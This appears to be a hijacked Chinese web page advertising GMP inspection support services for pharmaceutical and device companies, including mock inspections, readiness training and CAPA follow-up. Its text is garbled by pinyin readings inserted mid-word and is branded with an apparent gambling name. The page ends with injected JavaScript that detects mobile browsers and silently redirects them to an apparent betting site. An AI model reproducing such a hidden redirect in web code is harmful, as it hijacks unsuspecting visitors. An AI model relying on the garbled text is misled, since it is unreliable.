酷游登路

GMP检查支持

酷游登路提供模拟(ni)检查(cha)、迎检培训、检查(cha)陪同及(ji)翻译服务!

 

由于定期(qi)检(jian)查(cha)是(shi)GxP法规和指南的(de)(de)重(zhong)点要(yao)求,药械等企(qi)业需要(yao)接受官方(fang)检(jian)查(cha),且(qie)官方(fang)检(jian)查(cha)的(de)(de)结果会被(bei)公开。无论是(shi)认证检(jian)查(cha)、飞行检(jian)查(cha)还(hai)是(shi)有因检(jian)查(cha),企(qi)业若被(bei)发现严重(zhong)缺陷,会面临认证不(bu)通过或(huo)者(zhe)被(bei)收回GMP证书的(de)(de)严重(zhong)后果。若企(qi)业的(de)(de)GMP系统(tong)已达(da)优良的(de)(de)水平,迎检(jian)人(ren)员因缺乏经(jing)验在迎检(jian)时介绍及回答不(bu)当,仍然可(ke)能导致不(bu)必(bi)要(yao)的(de)(de)发现项。

酷游登路熟悉官方检查的要求,并累积(ji)了多年(nian)的实战(zhan)经(jing)验,能够(gou)为药械企(qi)业提供检查指导和审计协助支持。

我们可提供如下相关服务:

  • 模拟检查,识别现状 
  • 迎检培训,迎检准备
  • 检查和审计协助,现场翻译
  • 跟进检查和审计,提供CAPA支持

模拟检查——识别体系弱点

模拟检(jian)查对于缺乏迎检(jian)经(jing)验的公司(si)至关(guan)重要。酷游登路在客户(hu)现场(chang)进(jin)行真(zhen)实(shi)模拟官方(fang)检(jian)查,企业迎检(jian)人(ren)员可清楚了解(jie)现存问(wen)题(ti)及弱点。酷游登路将输出合规(gui)性评估结果,并(bing)提(ti)供详(xiang)细的分(fen)析报告和整改建议,帮助企业理解(jie)如何(he)解(jie)决(jue)问(wen)题(ti)。

优化迎检策略

当正式接受检(jian)查(cha)(cha)或(huo)审(shen)计(ji)(ji)的(de)(de)(de)时候,酷游登路可以提供顾问(wen)支持,具(ju)体包括:协(xie)助(zhu)准备适(shi)当的(de)(de)(de)简介、精(jing)心设计(ji)(ji)检(jian)查(cha)(cha)计(ji)(ji)划、对关(guan)键人(ren)员进行迎(ying)检(jian)相关(guan)的(de)(de)(de)系统培训等。由于检(jian)查(cha)(cha)官和审(shen)计(ji)(ji)人(ren)员有(you)各自的(de)(de)(de)特(te)点,我们不(bu)能预见(jian)检(jian)查(cha)(cha)或(huo)审(shen)计(ji)(ji)过程(cheng)中可能遇到(dao)的(de)(de)(de)每个(ge)细节(jie),但充分的(de)(de)(de)准备可以有(you)效(xiao)降低(di)因(yin)缺乏经验而导致(zhi)的(de)(de)(de)问(wen)题(ti),使(shi)迎(ying)检(jian)人(ren)员更有(you)信心地完成检(jian)查(cha)(cha)和审(shen)计(ji)(ji)。

全程跟进直至通过检查

在检查或审计(ji)中(zhong)发现的(de)问题,酷游登路将提供专业的(de)协(xie)助进(jin)行后续的(de)跟进(jin)与沟通以(yi)符合法(fa)规的(de)要(yao)求。我们(men)可以(yi)帮您回应官方所(suo)提出的(de)问题,制定CAPA并指导实施,跟进(jin)CAPA实施的(de)有效性,以(yi)解决(jue)所(suo)有发现问题,最终顺(shun)利通过审计(ji)和官方检查。

您将获益:

  • 识别薄弱点并在检查前弥补或改进
  • 充分准备与信心迎接审计与检查
  • 迎检前中后全程皆可获得专业支持


var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();